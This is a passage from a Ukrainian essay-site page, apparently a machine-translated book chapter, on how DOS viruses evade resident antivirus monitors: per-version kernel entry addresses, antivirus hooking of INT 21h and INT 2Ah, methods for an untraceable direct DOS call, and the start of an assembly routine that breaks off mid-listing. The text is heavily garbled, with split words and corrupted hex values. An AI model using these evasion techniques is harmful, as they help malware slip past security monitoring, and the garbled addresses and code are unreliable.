    Точка 2А 03AC: 41D1 2ACD

    DOS 5.0

    Точка 1 002А: 40ЕВ 80FA
    Точка 2 002А: 410Е 1Е06
    Точка 2А 002A: 41D1 2ACD

    DOS 3.30

    Точка Про 0070:05 DC 892E
    Точка 1 0294:1460 ЗА2Е
    Точка 2 0294:1480
    Точка 2А 0294:151 У 2ACD

    DOS 3.10

    Точка Про 0070: OD43

    DOS 3.20

    Точка 0 0070:17 DO

    Точка 2 є оптимальною, тобто в неї найдоцільніше пере-
    давати управління, щоб обійти резидентні антивірусні монітори.
    Точка 2А - це позиція інструкції INT 2Ah, яку DOS обов'язковий-
    але виконує в процесі обробки 21-го переривання.

    Наприкінці кожного рядка наведено контрольні слова - на той випадок,
    якщо за вказаною адресою знаходиться дещо інше.

    Боротьба з антивірусними моніторами

    Сучасні антивірусні монітори вміють відстежувати факт прямо-
    го звернення програм до DOS.

    Захист 21-го переривання можна організувати більш ефективно, ис-
    користуючись методами вбудовування в ядро операційної системи. Загальноприйнятий-
    тая схема така: в точку входу переривання INT 21h записується інстр-
    рукція JMP FAR на обробник, який перевіряє номер функції на
    безпеку. Він відновлює оригінальні інструкції в точці входити-
    та переривання і викликає обробник INT 21h. Після повернення управ-
    ня з переривання, в точку входу знову записується інструкція JMP
    FAR, і управління передається програмі, що викликала INT 21h.

    Тут описаний звичайний "сплайсинг" (вбудовування), який широко застосовується
    розробниками вірусів. Відзначимо, що для переходу не
    обов'язково використовувати інструкцію JMP FAR (вона займає 5 байт
    в пам'яті і не скрізь може бути розміщена). Замість неї можна примі-
    нитка INT 3, витративши всього 1 байт. У той же час необхідно забез-
    чити обробку викликів з кодами OOh, 4Ch, 31h (вони не повертають уп-
    равленіе у вихідну точку), а також самовизовов (при завершенні
    процесів за допомогою INT 27h і INT 20h).

    Процес розвивається наступним чином. Перша це антивірус-
    ного монітора вбудовується в ядро DOS, а друга - просто перехоплюючи-
    ет ланцюжок 21-го переривання. Коли програма виконує інструкцію
    INT 21h, управління передається другому компоненту. У антивірусних
    моніторів існує список функцій, які сприймаються ними
    як небезпечні. Вони можуть зробити перевірку на наявність заданої функ-
    ції в цьому списку, потім виставити прапор "прохід ланцюжка" і передати
    керування далі. Коли перший компонент отримує управління, він
    перевіряє прапор "проходу ланцюжка". Якщо він виставлений, то була інстр-
    рукція INT 21h, тому необхідно скинути прапор "прохід ланцюжка"
    і передати керування в DOS. Якщо прапор скинутий, це означає, що був

    5 - 1436

    виконаний прямий виклик. У цьому випадку потрібно приймати відпо-
    ціалу заходи проти можливих дій вірусу.

    Ця ідея виключно проста і ефективна. У тому чи іншому вигляді її
    застосовують майже всі сучасні антивірусні монітори. Ось один
    з таких варіантів.

    Після трасування переривання виконується звернення до DOS по
    оригінального адресою. Програма AVPTSR перехоплює звернення.
    Точніше, AVPTSR перехоплює INT 2Ah, причому цей виклик вироблена-
    ден з INT 21h, поблизу початку фрагмента. Оброблювач INT 08h,
    тобто таймера, періодично відновлює вектор 2Ah, якщо він
    був відключений.

    Мається на увазі, що прапор проходу ланцюжка 21-го переривання перевіряючі
    ється в обробнику INT 2Ah.

    Конструювання неотслежіваемого звернення до DOS

    Для чого потрібно таке конструювання? Невже антивірусні моні-
    тори настільки пильні, що припиняють будь-які спроби відкрити для
    модифікації ЕХЕ-або СОМ-файл? Так, це дійсно так. Авто-
    ри антивірусних моніторів мають досить ефективними середовищ-
    ствами, щоб запобігти прямі звернення до DOS з боку ви-
    русів.

    Звернемося до думки Ю. Косівцова: "Для виявлення дії нерішучість-
    зідентних вірусів необхідно контролювати виклик функцій DOS
    з номерами: 3Dh (відкриття файлу через описувач), OFh (відкриття
    файлу через FCB і 5Dh) і підфункції OOh (непрямий виклик DOS).
    Якщо при відкритті файлу виявлено, що розширення його СОМ, ЕХЕ
    або SYS, то можна видавати попередження ".

    Список виглядає надто коротким. Дійсно, а що станеться,
    якщо спочатку перейменувати програмний файл? І чому не врахована
    функція 6Ch (розширене відкриття файлу)? А що буде, якщо від-
    крити файл для читання, а потім змінити режим доступу прямим обра-
    щеніем до SFT?

    Звичайно ж, автори антивірусних моніторів не настільки наївні. Просто
    вони ніколи не розкривають свої професійні секрети. Наприклад,
    автори програми AVPTSR реально врахували і використали всі ці мето-
    дики і тонкощі.

    Отже, припустимо, що гіпотетичний антивірусний супермонітор:

    - відстежує і блокує спроби трасування 21-го перерви?? ия;

    - для контролю "небезпечних" функцій DOS вбудовується в початок обра-
    ботчіка переривання INT 21h;

    - для запобігання прямого звернення до DOS використовує прапор,
    що скидається або у вставленому фрагменті, або в обробнику
    переривання 2Ah (більш грамотний підхід).

    Ці дії монітора породжують відповідні проблеми при
    конструюванні неотслежіваемого звернення до DOS.

    Перша проблема досить просто вирішується з використанням "мето-
    та зумовлених адрес".

    Для вирішення другої проблеми варто проаналізувати можливий
    розташування в обробнику DOS точки переходу на антивірусний
    монітор. Очевидно, це може бути точка 0 або точка 1. У самому
    гіршому випадку можна припустити, що врізка відбувається безпосереднім-
    ного після команди перевірки на максимальне значення номера
    функції. Далі обробник DOS "розтікається" на численні
    струмочки, тому відстежити їх все вкрай важко. За край-
    ній мірі, обробники функцій OFh, 3Dh і 5Fh потрапляють в різні
    струмочки. Однак, при використанні обмеженого набору функцій
    вони можуть розміститися і в одному потічку, що набагато спростить ре-
    шеніе даного завдання. Опції 3Ch-43h, що відповідають за створення, від-
    криті, закриття, читання, запис, атрибути і переміщення, дія-
    тельно розташовуються в одному загальному потічку. Це дозволяє
    використовувати адреса точки 2 для прямого звернення до DOS. Моніторинг-
    ри, швидше за все, не будуть відслідковувати цю точку.

    Рішення третій проблеми також не викличе особливих труднощів.
    Один з варіантів - замаскувати переривання таймера і змінити
    вектор 8-го переривання перед прямим зверненням до DOS. Замість з-
    трансформаційних змін вектора можна спробувати вставити інструкції IRET в нача-
    ло поточного (антивірусного) обробника. При використанні все того
    ж методу "зумовлених адрес" і, знаючи позицію інструкції
    INT 2Ah в обробнику DOS, перед прямим зверненням до DOS сліду-
    ет просто замінити цей виклик двома командами NOP.

    Приклад реалізації

    Розглянемо дві підпрограми, які використовуються для прямого про-
    рощення до DOS.

    5 "

    Підпрограма SetAdr призначена для визначення адреси оброблен-
    чика DOS методом зумовлених адрес. Для версій DOS, "пра-
    Вільний "адреса яких невідома, використовується функція DOS 35h
    (одержати вектор переривання).

    Підпрограма CallDOS дозволяє звертатися до DOS безпосередньо. У код
    включена перевірка на номер функції. Для "безпечних" функцій
    передбачений звичайний виклик DOS за допомогою інструкції INT 21h.

    Процедура встановлення адреси (один з найкоротших,
    ; хоча і підозрілих варіантів реалізації)
    SetAdr Ргос near

    [Встановлюємо покажчик на таблицю в регістрі SI
    mov si, offset Table

    ; Читаем чергове значення сегмента і зміщення з таблиці
    Next:

    mov es, [si]

    mov bx, [si +2]

    ; Перевіряємо контрольний код у слові, адреса якого отримано
    ; з таблиці. Якщо результат негативний, переходимо
    ; до наступного елементу таблиці

    cmp es: [bx], 2ACDh

    jnz Skip

    . Зберігаємо адреса точки 2А
    mov Ofs2A, bx
    mov Seg2A, es

    ; Зберігаємо адреса точки

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status